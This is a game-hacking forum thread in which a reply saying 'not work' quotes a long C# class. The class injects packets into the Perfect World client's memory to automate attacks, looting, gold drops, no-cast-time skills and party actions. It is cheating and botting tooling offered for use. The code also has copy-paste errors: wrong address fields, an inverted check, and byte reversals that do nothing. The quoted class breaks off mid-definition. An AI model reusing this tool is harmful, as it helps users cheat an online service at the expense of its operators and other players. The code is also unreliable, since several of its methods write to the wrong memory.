|
You last visited: Today at 18:02
Advertisement
Sending Packets
Discussion on Sending Packets within the PW Hacks, Bots, Cheats, Exploits forum part of the Perfect World category.
11/05/2012, 03:45
|
#331
|
elite*gold: 0
Join Date: Aug 2009
Posts: 8
Received Thanks: 0
|
not work
Quote:
Originally Posted by Interest07
C# code I use for packet sending as follows
PacketSender class:
PHP Code:
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Diagnostics;
namespace PerfectWorld { class PacketSender : PWIoffsets { private IntPtr pr_processHandle;
//======================// // Packet structures // //======================//
//Log out
private int logOutAddress; private byte[] logOutAddressRev;
private byte[] logOutPkt = new byte[] { 0x01, 0x00, //Header 0x00, 0x00, 0x00, 0x00 //toAccount };
public void logOut(int toAccount) { //Get size of the packet int packetSize = logOutPkt.Length;
if (logOutAddress == 0) { //load packet in memory loadPacket(logOutPkt, ref logOutAddress, ref logOutAddressRev); } byte[] toAccountRev = BitConverter.GetBytes(toAccount); toAccountRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, logOutAddress + 2, toAccountRev);
sendPacket(logOutAddressRev, packetSize); }
//Select Target
private int selectAddress; private byte[] selectAddressRev;
private byte[] selectPkt = new byte[] { 0x02, 0x00, //Header 0x00, 0x00, 0x00, 0x00 //objectId };
public void select(int objectId) { //Get size of the packet int packetSize = selectPkt.Length;
if (logOutAddress == 0) { //load packet in memory loadPacket(selectPkt, ref selectAddress, ref selectAddressRev); } byte[] objectIdRev = BitConverter.GetBytes(objectId); objectIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, selectAddress + 2, objectIdRev);
sendPacket(selectAddressRev, packetSize); }
//Regular Attack
private int regularAttackAddress; private byte[] regularAttackAddressRev; private byte[] regularAttackPkt = new byte[] { 0x03, 0x00, //Header 0x00 //afterSkill };
public void regularAttack(byte afterSkill) { //Get size of the packet int packetSize = regularAttackPkt.Length;
if (regularAttackAddress == 0) { //load packet in memory loadPacket(regularAttackPkt, ref regularAttackAddress, ref regularAttackAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, regularAttackAddress + 2, afterSkill); sendPacket(regularAttackAddressRev, packetSize); }
//Resurrect to town
private int resurrectToTownAddress; private byte[] resurrectToTownAddressRev;
private byte[] resurrectToTownPkt = new byte[] { 0x04, 0x00, //Header };
public void resurrectToTown() { //Get size of the packet int packetSize = resurrectToTownPkt.Length;
if (resurrectToTownAddress == 0) { //load packet in memory loadPacket(resurrectToTownPkt, ref resurrectToTownAddress, ref resurrectToTownAddressRev); }
sendPacket(resurrectToTownAddressRev, packetSize); }
//Resurrect with scroll
private int resurrectWithScrollAddress; private byte[] resurrectWithScrollAddressRev;
private byte[] resurrectWithScrollPkt = new byte[] { 0x05, 0x00, //Header };
public void resurrectWithScroll() { //Get size of the packet int packetSize = resurrectWithScrollPkt.Length;
if (resurrectWithScrollAddress == 0) { //load packet in memory loadPacket(resurrectWithScrollPkt, ref resurrectWithScrollAddress, ref resurrectWithScrollAddressRev); }
sendPacket(resurrectWithScrollAddressRev, packetSize); }
//Pick up item
private int pickUpItemAddress; private byte[] pickUpItemAddressRev; private byte[] pickUpItemPkt = new byte[] { 0x06, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //uniqueId 0x00, 0x00, 0x00, 0x00 //typeId };
public void pickUpItem(int uniqueId, int typeId) { //Get size of the packet int packetSize = pickUpItemPkt.Length;
if (pickUpItemAddress == 0) { //load packet in memory loadPacket(pickUpItemPkt, ref pickUpItemAddress, ref pickUpItemAddressRev); }
byte[] uniqueIdRev = BitConverter.GetBytes(uniqueId); uniqueIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, selectAddress + 2, uniqueIdRev);
byte[] typeIdRev = BitConverter.GetBytes(typeId); typeIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, selectAddress + 6, typeIdRev);
sendPacket(pickUpItemAddressRev, packetSize); }
//Update inventory position
private int updateInvPositionAddress; private byte[] updateInvPositionAddressRev; private byte[] updateInvPositionPkt = new byte[] { 0x09, 0x00, //Header 0x00 //itemPosition };
public void updateInvPosition(byte invIndex) { //Get size of the packet int packetSize = updateInvPositionPkt.Length;
if (updateInvPositionAddress == 0) { //load packet in memory loadPacket(updateInvPositionPkt, ref updateInvPositionAddress, ref updateInvPositionAddressRev); } MemFunctions.MemWriteByte(pr_processHandle, updateInvPositionAddress + 2, invIndex); sendPacket(updateInvPositionAddressRev, packetSize); }
//Swap item in inventory
private int swapItemInInvAddress; private byte[] swapItemInInvAddressRev; private byte[] swapItemInInvPkt = new byte[] { 0x0C, 0x00, //Header 0x00, //itemInvIndex 1 0x00 //itemInvIndex 2 };
public void swapItemInInv(byte invIndex1, byte invIndex2) { //Get size of the packet int packetSize = swapItemInInvPkt.Length;
if (swapItemInInvAddress == 0) { //load packet in memory loadPacket(swapItemInInvPkt, ref swapItemInInvAddress, ref swapItemInInvAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, swapItemInInvAddress + 2, invIndex1); MemFunctions.MemWriteByte(pr_processHandle, swapItemInInvAddress + 3, invIndex2);
sendPacket(swapItemInInvAddressRev, packetSize); }
//Split stack in inventory
private int splitStackItemInInvAddress; private byte[] splitStackItemInInvAddressRev; private byte[] splitStackItemInInvPkt = new byte[] { 0x0D, 0x00, //Header 0x00, //itemInvIndexSource 0x00, //itemInvIndexDestination 0x00, 0x00 //Amount };
public void splitStackInInventory(byte invIndexSource, byte invIndexDestination, short amount) { //Get size of the packet int packetSize = splitStackItemInInvPkt.Length;
if (splitStackItemInInvAddress == 0) { //load packet in memory loadPacket(splitStackItemInInvPkt, ref splitStackItemInInvAddress, ref splitStackItemInInvAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, splitStackItemInInvAddress + 2, invIndexSource); MemFunctions.MemWriteByte(pr_processHandle, splitStackItemInInvAddress + 3, invIndexDestination);
byte[] amountRev = BitConverter.GetBytes(amount); amountRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, splitStackItemInInvAddress + 4, amountRev);
sendPacket(splitStackItemInInvAddressRev, packetSize); }
//Drop item
private int dropItemAddress; private byte[] dropItemAddressRev; private byte[] dropItemPkt = new byte[] { 0x0E, 0x00, //Header 0x00, //itemInvIndexSource 0x00, 0x00 //Amount };
public void dropItem(byte invIndex, short amount) { //Get size of the packet int packetSize = dropItemPkt.Length;
if (dropItemAddress == 0) { //load packet in memory loadPacket(dropItemPkt, ref dropItemAddress, ref dropItemAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, dropItemAddress + 2, invIndex);
byte[] amountRev = BitConverter.GetBytes(amount); amountRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, dropItemAddress + 3, amountRev);
sendPacket(dropItemAddressRev, packetSize); }
//Swap item in equip
private int swapItemInEquipAddress; private byte[] swapItemInEquipAddressRev; private byte[] swapItemInEquipPkt = new byte[] { 0x10, 0x00, //Header 0x00, //itemEquipIndex 1 0x00 //itemEquipIndex 2 };
public void swapItemInEquip(byte equipIndex1, byte equipIndex2) { //Get size of the packet int packetSize = swapItemInEquipPkt.Length;
if (swapItemInEquipAddress == 0) { //load packet in memory loadPacket(swapItemInEquipPkt, ref swapItemInEquipAddress, ref swapItemInEquipAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, swapItemInEquipAddress + 2, equipIndex1); MemFunctions.MemWriteByte(pr_processHandle, swapItemInEquipAddress + 3, equipIndex2);
sendPacket(swapItemInEquipAddressRev, packetSize); }
//Swap equipment with inventory
private int swapEquipWithInvAddress; private byte[] swapEquipWithInvAddressRev; private byte[] swapEquipWithInvPkt = new byte[] { 0x11, 0x00, //Header 0x00, //invIndex 0x00 //equipIndex };
public void swapEquipWithInv(byte invIndex, byte equipIndex) { //Get size of the packet int packetSize = swapEquipWithInvPkt.Length;
if (swapEquipWithInvAddress == 0) { //load packet in memory loadPacket(swapEquipWithInvPkt, ref swapEquipWithInvAddress, ref swapEquipWithInvAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, swapEquipWithInvAddress + 2, invIndex); MemFunctions.MemWriteByte(pr_processHandle, swapEquipWithInvAddress + 3, equipIndex);
sendPacket(swapEquipWithInvAddressRev, packetSize); }
//Drop gold
private int dropGoldAddress; private byte[] dropGoldAddressRev; private byte[] dropGoldPkt = new byte[] { 0x14, 0x00, //Header 0x00, 0x00, 0x00, 0x00 //amount };
public void dropGold(int amount) { //Get size of the packet int packetSize = dropGoldPkt.Length;
if (dropGoldAddress == 0) { //load packet in memory loadPacket(dropGoldPkt, ref dropGoldAddress, ref dropGoldAddressRev); }
byte[] amountRev = BitConverter.GetBytes(amount); amountRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, dropGoldAddress + 2, amountRev); sendPacket(dropGoldAddressRev, packetSize); }
//Update stats
private int updateStatsAddress; private byte[] updateStatsAddressRev; private byte[] updateStatsPkt = new byte[] { 0x15, 0x00 //Header };
public void updateStats() { //Get size of the packet int packetSize = updateStatsPkt.Length;
if (updateStatsAddress == 0) { //load packet in memory loadPacket(updateStatsPkt, ref updateStatsAddress, ref updateStatsAddressRev); }
sendPacket(updateStatsAddressRev, packetSize); }
//Increase stats
private int increaseStatsByAddress; private byte[] increaseStatsByAddressRev; private byte[] increaseStatsByPkt = new byte[] { 0x16, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //con 0x00, 0x00, 0x00, 0x00, //int 0x00, 0x00, 0x00, 0x00, //str 0x00, 0x00, 0x00, 0x00 //agi };
public void increaseStatsBy(int constitution, int intelligence, int strength, int agility) { //Get size of the packet int packetSize = increaseStatsByPkt.Length;
if (increaseStatsByAddress == 0) { //load packet in memory loadPacket(increaseStatsByPkt, ref increaseStatsByAddress, ref increaseStatsByAddressRev); }
byte[] constitutionRev = BitConverter.GetBytes(constitution); constitutionRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, increaseStatsByAddress + 2, constitutionRev); byte[] intelligenceRev = BitConverter.GetBytes(intelligence); intelligenceRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, increaseStatsByAddress + 6, intelligenceRev); byte[] strengthRev = BitConverter.GetBytes(strength); strengthRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, increaseStatsByAddress + 10, strengthRev); byte[] agilityRev = BitConverter.GetBytes(agility); agilityRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, increaseStatsByAddress + 14, agilityRev);
sendPacket(increaseStatsByAddressRev, packetSize); }
//Invite to party
private int invitePartyAddress; private byte[] invitePartyAddressRev; private byte[] invitePartyPkt = new byte[] { 0x1B, 0x00, //Header 0x00, 0x00, 0x00, 0x00 //playerId };
public void inviteParty(int playerId) { //Get size of the packet int packetSize = invitePartyPkt.Length;
if (invitePartyAddress == 0) { //load packet in memory loadPacket(invitePartyPkt, ref invitePartyAddress, ref invitePartyAddressRev); }
byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, invitePartyAddress + 2, playerIdRev);
sendPacket(invitePartyAddressRev, packetSize); }
//Accept party invite
private int acceptPartyInviteAddress; private byte[] acceptPartyInviteAddressRev; private byte[] acceptPartyInvitePkt = new byte[] { 0x1C, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //playerId 0x00, 0x00, 0x00, 0x00 //partyInviteCounter };
public void acceptPartyInvite(int playerId, int partyInviteCounter) { //Get size of the packet int packetSize = acceptPartyInvitePkt.Length;
if (acceptPartyInviteAddress == 0) { //load packet in memory loadPacket(acceptPartyInvitePkt, ref acceptPartyInviteAddress, ref acceptPartyInviteAddressRev); } byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, acceptPartyInviteAddress + 2, playerIdRev);
byte[] partyInviteCounterRev = BitConverter.GetBytes(partyInviteCounter); partyInviteCounterRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, acceptPartyInviteAddress + 6, partyInviteCounterRev);
sendPacket(acceptPartyInviteAddressRev, packetSize); }
//Refuse party invite
private int refusePartyInviteAddress; private byte[] refusePartyInviteAddressRev; private byte[] refusePartyInvitePkt = new byte[] { 0x1D, 0x00, //Header 0x00, 0x00, 0x00, 0x00 //playerId };
public void refusePartyInvite(int playerId) { //Get size of the packet int packetSize = refusePartyInvitePkt.Length;
if (refusePartyInviteAddress == 0) { //load packet in memory loadPacket(refusePartyInvitePkt, ref refusePartyInviteAddress, ref refusePartyInviteAddressRev); } byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, refusePartyInviteAddress + 2, playerIdRev); sendPacket(refusePartyInviteAddressRev, packetSize); }
//Leave party
private int leavePartyAddress; private byte[] leavePartyAddressRev; private byte[] leavePartyPkt = new byte[] { 0x1E, 0x00 //Header };
public void leaveParty() { //Get size of the packet int packetSize = leavePartyPkt.Length;
if (leavePartyAddress == 0) { //load packet in memory loadPacket(leavePartyPkt, ref leavePartyAddress, ref leavePartyAddressRev); }
sendPacket(leavePartyAddressRev, packetSize); }
//Evict from party
private int evictFromPartyAddress; private byte[] evictFromPartyAddressRev; private byte[] evictFromPartyPkt = new byte[] { 0x1F, 0x00, //Header 0x00, 0x00, 0x00, 0x00 //playerId };
public void evictFromParty(int playerId) { //Get size of the packet int packetSize = evictFromPartyPkt.Length;
if (evictFromPartyAddress == 0) { //load packet in memory loadPacket(evictFromPartyPkt, ref evictFromPartyAddress, ref evictFromPartyAddressRev); }
byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, evictFromPartyAddress + 2, playerIdRev);
sendPacket(evictFromPartyAddressRev, packetSize); }
//Start NPC dialogue
private int startNpcDialogueAddress; private byte[] startNpcDialogueAddressRev; private byte[] startNpcDialoguePkt = new byte[] { 0x23, 0x00, //Header 0x00, 0x00, 0x00, 0x00 //npcId };
public void startNpcDialogue(int npcId) { //Get size of the packet int packetSize = startNpcDialoguePkt.Length;
if (startNpcDialogueAddress == 0) { //load packet in memory loadPacket(startNpcDialoguePkt, ref startNpcDialogueAddress, ref startNpcDialogueAddressRev); } byte[] npcIdRev = BitConverter.GetBytes(npcId); npcIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, startNpcDialogueAddress + 2, npcIdRev);
sendPacket(startNpcDialogueAddressRev, packetSize); }
//Use item
private int useItemAddress; private byte[] useItemAddressRev; private byte[] useItemPkt = new byte[] { 0x28, 0x00, //Header 0x00, //isEquip 0x01, 0x00, //itemIndex 0x00, 0x00, 0x00, 0x00, 0x00 //typeId };
public void useItem(byte isEquip, byte itemIndex, int typeId) { //Get size of the packet int packetSize = useItemPkt.Length;
if (useItemAddress == 0) { //load packet in memory loadPacket(useItemPkt, ref useItemAddress, ref useItemAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, useItemAddress + 2, isEquip); MemFunctions.MemWriteByte(pr_processHandle, useItemAddress + 4, itemIndex);
byte[] typeIdRev = BitConverter.GetBytes(typeId); typeIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, useItemAddress + 6, typeIdRev);
sendPacket(useItemAddressRev, packetSize); }
//Use skill
private int useSkillddress; private byte[] useSkillAddressRev; private byte[] useSkillPkt = new byte[] { 0x29, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //skillId 0x00, 0x01, 0x00, 0x00, 0x00, 0x00 //targetId };
public void useSkill(int skillId, int targetId) { //Get size of the packet int packetSize = useSkillPkt.Length;
if (useSkillddress == 0) { //load packet in memory loadPacket(useSkillPkt, ref useSkillddress, ref useSkillAddressRev); }
byte[] skillIdRev = BitConverter.GetBytes(skillId); skillIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, useSkillddress + 2, skillIdRev); byte[] targetIdRev = BitConverter.GetBytes(targetId); targetIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, useSkillddress + 8, targetIdRev);
sendPacket(useSkillAddressRev, packetSize); }
//Cancel action
private int cancelActionAddress; private byte[] cancelActionAddressRev; private byte[] cancelActionPkt = new byte[] { 0x2A, 0x00 //Header };
public void cancelAction() { //Get size of the packet int packetSize = cancelActionPkt.Length;
if (cancelActionAddress == 0) { //load packet in memory loadPacket(cancelActionPkt, ref cancelActionAddress, ref cancelActionAddressRev); }
sendPacket(cancelActionAddressRev, packetSize); }
//Start meditating
private int startMeditatingAddress; private byte[] startMeditatingAddressRev; private byte[] startMeditatingPkt = new byte[] { 0x2E, 0x00, //Header };
public void startMeditating() { //Get size of the packet int packetSize = startMeditatingPkt.Length;
if (startMeditatingAddress == 0) { //load packet in memory loadPacket(startMeditatingPkt, ref startMeditatingAddress, ref startMeditatingAddressRev); }
sendPacket(startMeditatingAddressRev, packetSize); }
//Stop meditating
private int stopMeditatingAddress; private byte[] stopMeditatingAddressRev; private byte[] stopMeditatingPkt = new byte[] { 0x2F, 0x00, //Header };
public void stopMeditating() { //Get size of the packet int packetSize = stopMeditatingPkt.Length;
if (stopMeditatingAddress == 0) { //load packet in memory loadPacket(stopMeditatingPkt, ref stopMeditatingAddress, ref stopMeditatingAddressRev); }
sendPacket(stopMeditatingAddressRev, packetSize); }
//Use emotion
private int useEmotionAddress; private byte[] useEmotionAddressRev; private byte[] useEmotionPkt = new byte[] { 0x30, 0x00, //Header 0x00, 0x00 //EmoteId };
public void useEmotion(short emoteId) { //Get size of the packet int packetSize = useEmotionPkt.Length;
if (useEmotionAddress == 0) { //load packet in memory loadPacket(useEmotionPkt, ref useEmotionAddress, ref useEmotionAddressRev); }
byte[] emoteIdRev = BitConverter.GetBytes(emoteId); emoteIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, useEmotionAddress, emoteIdRev);
sendPacket(useEmotionAddressRev, packetSize); }
//Be intimate
private int beIntimateAddress; private byte[] beIntimateAddressRev; private byte[] beIntimatePkt = new byte[] { 0x30, 0x00, //Header 0x1D, 0x00 //intimateId };
public void beIntimate() { //Get size of the packet int packetSize = beIntimatePkt.Length;
if (beIntimateAddress == 0) { //load packet in memory loadPacket(beIntimatePkt, ref beIntimateAddress, ref beIntimateAddressRev); }
sendPacket(beIntimateAddressRev, packetSize); }
//Harvest resource
private int harvestResourceAddress; private byte[] harvestResourceAddressRev;
private byte[] harvestResourcePkt = new byte[] { 0x36, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //uniqueId 0x00, 0x00, 0x1E, 0x00, 0x01, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
public void harvestResource(int uniqueId) { //Get size of the packet int packetSize = harvestResourcePkt.Length;
if (harvestResourceAddress == 0) { //load packet in memory loadPacket(harvestResourcePkt, ref harvestResourceAddress, ref harvestResourceAddressRev); }
byte[] uniqueIdRev = BitConverter.GetBytes(uniqueId); uniqueIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, harvestResourceAddress + 2, uniqueIdRev);
sendPacket(harvestResourceAddressRev, packetSize); }
//Swap item in bank
private int swapItemInBankAddress; private byte[] swapItemInBankAddressRev; private byte[] swapItemInBankPkt = new byte[] { 0x38, 0x00, //Header 0x03, 0x00, //bankIndex1 0x00 //bankIndex2 };
public void swapItemInBank(byte bankIndex1, byte bankIndex2) { //Get size of the packet int packetSize = swapItemInBankPkt.Length;
if (swapItemInBankAddress == 0) { //load packet in memory loadPacket(swapItemInBankPkt, ref swapItemInBankAddress, ref swapItemInBankAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, swapEquipWithInvAddress + 3, bankIndex1); MemFunctions.MemWriteByte(pr_processHandle, swapEquipWithInvAddress + 4, bankIndex2);
sendPacket(swapItemInBankAddressRev, packetSize); }
//Split item in bank
private int splitStackItemInBankAddress; private byte[] splitStackItemInBankAddressRev; private byte[] splitStackItemInBankPkt = new byte[] { 0x39, 0x00, //Header 0x03, 0x00, //bankIndexSource 0x00, //bankIndexDestination 0x00, 0x00 //amount };
public void splitStackItemInBank(byte bankIndexSource, byte bankIndexDestination, short amount) { //Get size of the packet int packetSize = splitStackItemInBankPkt.Length;
if (splitStackItemInBankAddress == 0) { //load packet in memory loadPacket(splitStackItemInBankPkt, ref splitStackItemInBankAddress, ref splitStackItemInBankAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, splitStackItemInBankAddress + 3, bankIndexSource); MemFunctions.MemWriteByte(pr_processHandle, splitStackItemInBankAddress + 4, bankIndexSource); byte[] amountRev = BitConverter.GetBytes(amount); amountRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, splitStackItemInBankAddress + 5, amountRev);
sendPacket(splitStackItemInBankAddressRev, packetSize); }
//Swap item between bank and inv
private int swapItemBankAndInvAddress; private byte[] swapItemBankAndInvAddressRev; private byte[] swapItemBankAndInvPkt = new byte[] { 0x3A, 0x00, //Header 0x03, 0x00, //bankIndex 0x00, //invIndex };
public void swapItemBankAndInv(byte bankIndex, byte invIndex) { //Get size of the packet int packetSize = swapItemBankAndInvPkt.Length;
if (swapItemBankAndInvAddress == 0) { //load packet in memory loadPacket(swapItemBankAndInvPkt, ref swapItemBankAndInvAddress, ref swapItemBankAndInvAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, swapItemBankAndInvAddress + 3, bankIndex); MemFunctions.MemWriteByte(pr_processHandle, swapItemBankAndInvAddress + 4, invIndex);
sendPacket(swapItemBankAndInvAddressRev, packetSize); }
//Split stack from bank to inventory
private int splitStackItemInBankToInvAddress; private byte[] splitStackItemInBankToInvAddressRev; private byte[] splitStackItemInBankToInvPkt = new byte[] { 0x3B, 0x00, //Header 0x00, 0x00, //bankIndex 0x00, //invIndex 0x00, 0x00 //amount };
public void splitStackItemInBankToInv(byte bankIndex, byte invIndex, short amount) { //Get size of the packet int packetSize = splitStackItemInBankToInvPkt.Length;
if (splitStackItemInBankToInvAddress == 0) { //load packet in memory loadPacket(splitStackItemInBankToInvPkt, ref splitStackItemInBankToInvAddress, ref splitStackItemInBankToInvAddressRev); } MemFunctions.MemWriteByte(pr_processHandle, splitStackItemInBankToInvAddress + 3, bankIndex); MemFunctions.MemWriteByte(pr_processHandle, splitStackItemInBankToInvAddress + 4, invIndex); byte[] amountRev = BitConverter.GetBytes(amount); amountRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, splitStackItemInBankToInvAddress + 5, amountRev);
sendPacket(splitStackItemInBankToInvAddressRev, packetSize); }
//Split stack from bank to inventory
private int splitStackItemInInvToBankAddress; private byte[] splitStackItemInInvToBankAddressRev; private byte[] splitStackItemInInvToBankPkt = new byte[] { 0x3C, 0x00, //Header 0x00, 0x00, //bankIndex 0x00, //invIndex 0x00, 0x00 //amount };
public void splitStackItemInInvToBank(byte invIndex, byte bankIndex, short amount) { //Get size of the packet int packetSize = splitStackItemInInvToBankPkt.Length;
if (splitStackItemInInvToBankAddress == 0) { //load packet in memory loadPacket(splitStackItemInInvToBankPkt, ref splitStackItemInInvToBankAddress, ref splitStackItemInInvToBankAddressRev); } MemFunctions.MemWriteByte(pr_processHandle, splitStackItemInInvToBankAddress + 3, invIndex); MemFunctions.MemWriteByte(pr_processHandle, splitStackItemInInvToBankAddress + 4, bankIndex); byte[] amountRev = BitConverter.GetBytes(amount); amountRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, splitStackItemInInvToBankAddress + 5, amountRev);
sendPacket(splitStackItemInInvToBankAddressRev, packetSize); }
//Set party search settings
private int setPartySearchSettingsAddress; private byte[] setPartySearchSettingsAddressRev; private byte[] setPartySearchSettingsPkt = new byte[] { 0x3F, 0x00, //Header 0x00, //jobId 0x00, //lvl 0x00, //recruit 0x00, //slogan 0x00, 0x00, 0x00, 0x00 };
public void setPartySearchSettings(byte jobId, byte lvl, byte recruit, byte slogan) { //Get size of the packet int packetSize = setPartySearchSettingsPkt.Length;
if (setPartySearchSettingsAddress == 0) { //load packet in memory loadPacket(setPartySearchSettingsPkt, ref setPartySearchSettingsAddress, ref setPartySearchSettingsAddressRev); }
MemFunctions.MemWriteByte(pr_processHandle, setPartySearchSettingsAddress + 2, jobId); MemFunctions.MemWriteByte(pr_processHandle, setPartySearchSettingsAddress + 3, lvl); MemFunctions.MemWriteByte(pr_processHandle, setPartySearchSettingsAddress + 4, recruit); MemFunctions.MemWriteByte(pr_processHandle, setPartySearchSettingsAddress + 5, slogan);
sendPacket(setPartySearchSettingsAddressRev, packetSize); }
//Change party captain
private int shiftPartyCaptainAddress; private byte[] shiftPartyCaptainAddressRev; private byte[] shiftPartyCaptainPkt = new byte[] { 0x48, 0x00, //Header 0x00, 0x00, 0x00, 0x00 //playerId };
public void shiftPartyCaptain(int playerId) { //Get size of the packet int packetSize = shiftPartyCaptainPkt.Length;
if (shiftPartyCaptainAddress == 0) { //load packet in memory loadPacket(shiftPartyCaptainPkt, ref shiftPartyCaptainAddress, ref shiftPartyCaptainAddressRev); }
byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, shiftPartyCaptainAddress + 2, playerIdRev);
sendPacket(shiftPartyCaptainAddressRev, packetSize); }
//Use skill with no cast time
private int useSkillWithoutCastTimeAddress; private byte[] useSkillWithoutCastTimeAddressRev; private byte[] useSkillWithoutCastTimePkt = new byte[] { 0x50, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //skillId 0x00, 0x01, 0x00, 0x00, 0x00, 0x00 //targetId };
public void useSkillWithoutCastTime(int skillId, int targetId) { //Get size of the packet int packetSize = useSkillWithoutCastTimePkt.Length;
if (useSkillWithoutCastTimeAddress == 0) { //load packet in memory loadPacket(useSkillWithoutCastTimePkt, ref useSkillWithoutCastTimeAddress, ref useSkillWithoutCastTimeAddressRev); }
byte[] skillIdRev = BitConverter.GetBytes(skillId); skillIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, useSkillWithoutCastTimeAddress + 2, skillIdRev);
byte[] targetIdRev = BitConverter.GetBytes(targetId); targetIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, useSkillWithoutCastTimeAddress + 8, targetIdRev);
sendPacket(useSkillWithoutCastTimeAddressRev, packetSize); }
//Initiate setting up cat shop
private int initiateSettingUpCatShopAddress; private byte[] initiateSettingUpCatShopAddressRev; private byte[] initiateSettingUpCatShopPkt = new byte[] { 0x54, 0x00, //Header };
public void initiateSettingUpCatShop() { //Get size of the packet int packetSize = initiateSettingUpCatShopPkt.Length;
if (initiateSettingUpCatShopAddress == 0) { //load packet in memory loadPacket(initiateSettingUpCatShopPkt, ref initiateSettingUpCatShopAddress, ref initiateSettingUpCatShopAddressRev); }
sendPacket(initiateSettingUpCatShopAddressRev, packetSize); }
//Toggle fashion
private int toggleFashionDisplayAddress; private byte[] toggleFashionDisplayAddressRev; private byte[] toggleFashionDisplayPkt = new byte[] { 0x55, 0x00, //Header };
public void toggleFashionDisplay() { //Get size of the packet int packetSize = toggleFashionDisplayPkt.Length;
if (toggleFashionDisplayAddress == 0) { //load packet in memory loadPacket(toggleFashionDisplayPkt, ref toggleFashionDisplayAddress, ref toggleFashionDisplayAddressRev); }
sendPacket(toggleFashionDisplayAddressRev, packetSize); }
//acceptRessurectByCleric
private int acceptRessurectByClericAddress; private byte[] acceptRessurectByClericAddressRev; private byte[] acceptRessurectByClericPkt = new byte[] { 0x57, 0x00, //Header };
public void acceptRessurectByCleric() { //Get size of the packet int packetSize = acceptRessurectByClericPkt.Length;
if (acceptRessurectByClericAddress == 0) { //load packet in memory loadPacket(acceptRessurectByClericPkt, ref acceptRessurectByClericAddress, ref acceptRessurectByClericAddressRev); }
sendPacket(acceptRessurectByClericAddressRev, packetSize); }
//Increase fly speed
private int increaseFlySpeedAddress; private byte[] increaseFlySpeedAddressRev; private byte[] increaseFlySpeedPkt = new byte[] { 0x5A, 0x00, //Header };
public void increaseFlySpeed() { //Get size of the packet int packetSize = increaseFlySpeedPkt.Length;
if (increaseFlySpeedAddress == 0) { //load packet in memory loadPacket(increaseFlySpeedPkt, ref increaseFlySpeedAddress, ref increaseFlySpeedAddressRev); }
sendPacket(increaseFlySpeedAddressRev, packetSize); }
//Invite to duel
private int inviteToDuelAddress; private byte[] inviteToDuelAddressRev; private byte[] inviteToDuelPkt = new byte[] { 0x5C, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //playerId };
public void inviteToDuel(int playerId) { //Get size of the packet int packetSize = inviteToDuelPkt.Length;
if (inviteToDuelAddress == 0) { //load packet in memory loadPacket(inviteToDuelPkt, ref inviteToDuelAddress, ref inviteToDuelAddressRev); }
byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, inviteToDuelAddress + 2, playerIdRev);
sendPacket(inviteToDuelAddressRev, packetSize); }
//Regular Attack
private int acceptDuelAddress; private byte[] acceptDuelAddressRev; private byte[] acceptDuelPkt = new byte[] { 0x5D, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //playerId };
public void acceptDuel(int playerId) { //Get size of the packet int packetSize = acceptDuelPkt.Length;
if (acceptDuelAddress == 0) { //load packet in memory loadPacket(acceptDuelPkt, ref acceptDuelAddress, ref acceptDuelAddressRev); } byte[] playerIdRev = BitConverter.GetBytes(playerId); playerIdRev.Reverse(); MemFunctions.MemWriteBytes(pr_processHandle, acceptDuelAddress + 2, playerIdRev); sendPacket(acceptDuelAddressRev, packetSize); }
//Ask male to carry you
private int askMaleToCarryAddress; private byte[] askMaleToCarryAddressRev; private byte[] askMaleToCarryPkt = new byte[] { 0x5E, 0x00, //Header 0x00, 0x00, 0x00, 0x00, //playerId };
